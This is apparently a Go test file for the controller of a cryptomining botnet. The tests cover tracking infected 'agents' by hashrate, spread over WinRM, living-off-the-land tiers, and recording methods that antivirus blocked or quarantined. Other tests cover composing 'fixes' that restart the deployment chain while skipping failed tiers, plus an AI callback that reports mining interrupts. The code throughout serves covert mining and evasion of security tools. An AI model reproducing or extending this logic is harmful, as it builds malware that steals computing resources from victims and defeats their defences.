package epidemiology import ( "encoding/json" "sync" "testing" ) func TestDetectInterruptionContinuousMiningNil(t *testing.T) { if got := DetectInterruption("a1", StatsInput{ ActiveMethod: "container", MiningHashrate: 120, }); got != nil { t.Fatalf("continuous mining should not interrupt: %+v", got) } } func TestDetectInterruptionChainExhausted(t *testing.T) { got := DetectInterruption("stuck", StatsInput{ ChainExhausted: true, SpreadStrain: "#aabbcc", JoinLane: "winrm", FailedMethods: []MethodFailure{{ Method: "exe_subprocess", Reason: "AV blocked", At: "2026-06-07T00:00:00Z", }}, }) if got == nil { t.Fatal("expected interrupt state") } if got.SpreadStrain != "#aabbcc" { t.Fatalf("strain=%q", got.SpreadStrain) } if got.AgentID != "stuck" { t.Fatalf("agent=%q", got.AgentID) } } func TestComposeFixSkipsFailedBranches(t *testing.T) { fix := ComposeFix(MiningInterruptState{ AgentID: "a1", ChainExhausted: true, FailedMethods: []MethodFailure{ {Method: "exe_subprocess", Reason: "blocked"}, }, LOTLAttempts: []TierAttempt{ {Tier: "container", OK: false, Error: "no docker"}, }, }) if !fix.RestartChain { t.Fatal("chain exhausted should restart") } if len(fix.SkipTiers) < 2 { t.Fatalf("skip tiers=%v", fix.SkipTiers) } } func TestTrackerObserveAndConsumeFix(t *testing.T) { tr := NewTracker() var aiCalls int var seerCalls int tr.SetReporter(Reporter{ OnAI: func(agentID, action, reasoning string) { aiCalls++ if agentID != "agent-x" || action != "mining_interrupt" { t.Fatalf("ai callback: %s %s", agentID, action) } if reasoning == "" { t.Fatal("expected reasoning payload") } }, OnSeer: func(event SeerEvent) { seerCalls++ if event.Kind != "mining_interrupt" { t.Fatalf("kind=%s", event.Kind) } }, }) tr.ObserveStats("agent-x", StatsInput{ ChainExhausted: true, SpreadStrain: "#112233", FailedMethods: []MethodFailure{{Method: "wsl", Reason: "missing"}}, }) if aiCalls != 1 || seerCalls != 1 { t.Fatalf("reports ai=%d seer=%d", aiCalls, seerCalls) } fix, ok := tr.ConsumeFix("agent-x") if !ok || fix.AgentID != "agent-x" { t.Fatalf("consume fix: ok=%v fix=%+v", ok, fix) } if _, again := tr.ConsumeFix("agent-x"); again { t.Fatal("fix should be one-shot on auth pass") } events := tr.RecentSeerEvents(5) if len(events) != 1 { t.Fatalf("seer events=%d", len(events)) } var decoded MiningInterruptState if err := json.Unmarshal(events[0].Payload, &decoded); err != nil { t.Fatal(err) } if decoded.SpreadStrain != "#112233" { t.Fatalf("payload strain=%q", decoded.SpreadStrain) } } func TestTrackerDedupesIdenticalInterrupt(t *testing.T) { tr := NewTracker() var calls int tr.SetReporter(Reporter{ OnAI: func(_, _, _ string) { calls++ }, }) stats := StatsInput{ ChainExhausted: true, SpreadStrain: "#ff00aa", FailedMethods: []MethodFailure{{Method: "gpu_subprocess", Reason: "quarantine"}}, } tr.ObserveStats("dup", stats) tr.ObserveStats("dup", stats) if calls != 1 { t.Fatalf("deduped calls=%d want 1", calls) } } func TestSpreadStrainFromJoinLaneParity(t *testing.T) { got := spreadStrainFromJoinLane("winrm") if got != "#ab88e4" { t.Fatalf("winrm strain=%q want #ab88e4", got) } } func TestTrackerConcurrentObserve(t *testing.T) { tr := NewTracker() var wg sync.WaitGroup for i := 0; i < 20; i++ { wg.Add(1) go func(n int) { defer wg.Done() id := "agent-" + string(rune('a'+n%26)) tr.ObserveStats(id, StatsInput{ ChainExhausted: true, FailedMethods: []MethodFailure{{Method: "container", Reason: "fail"}}, }) }(i) } wg.Wait() if len(tr.pendingFix) == 0 { t.Fatal("expected pending fixes") } }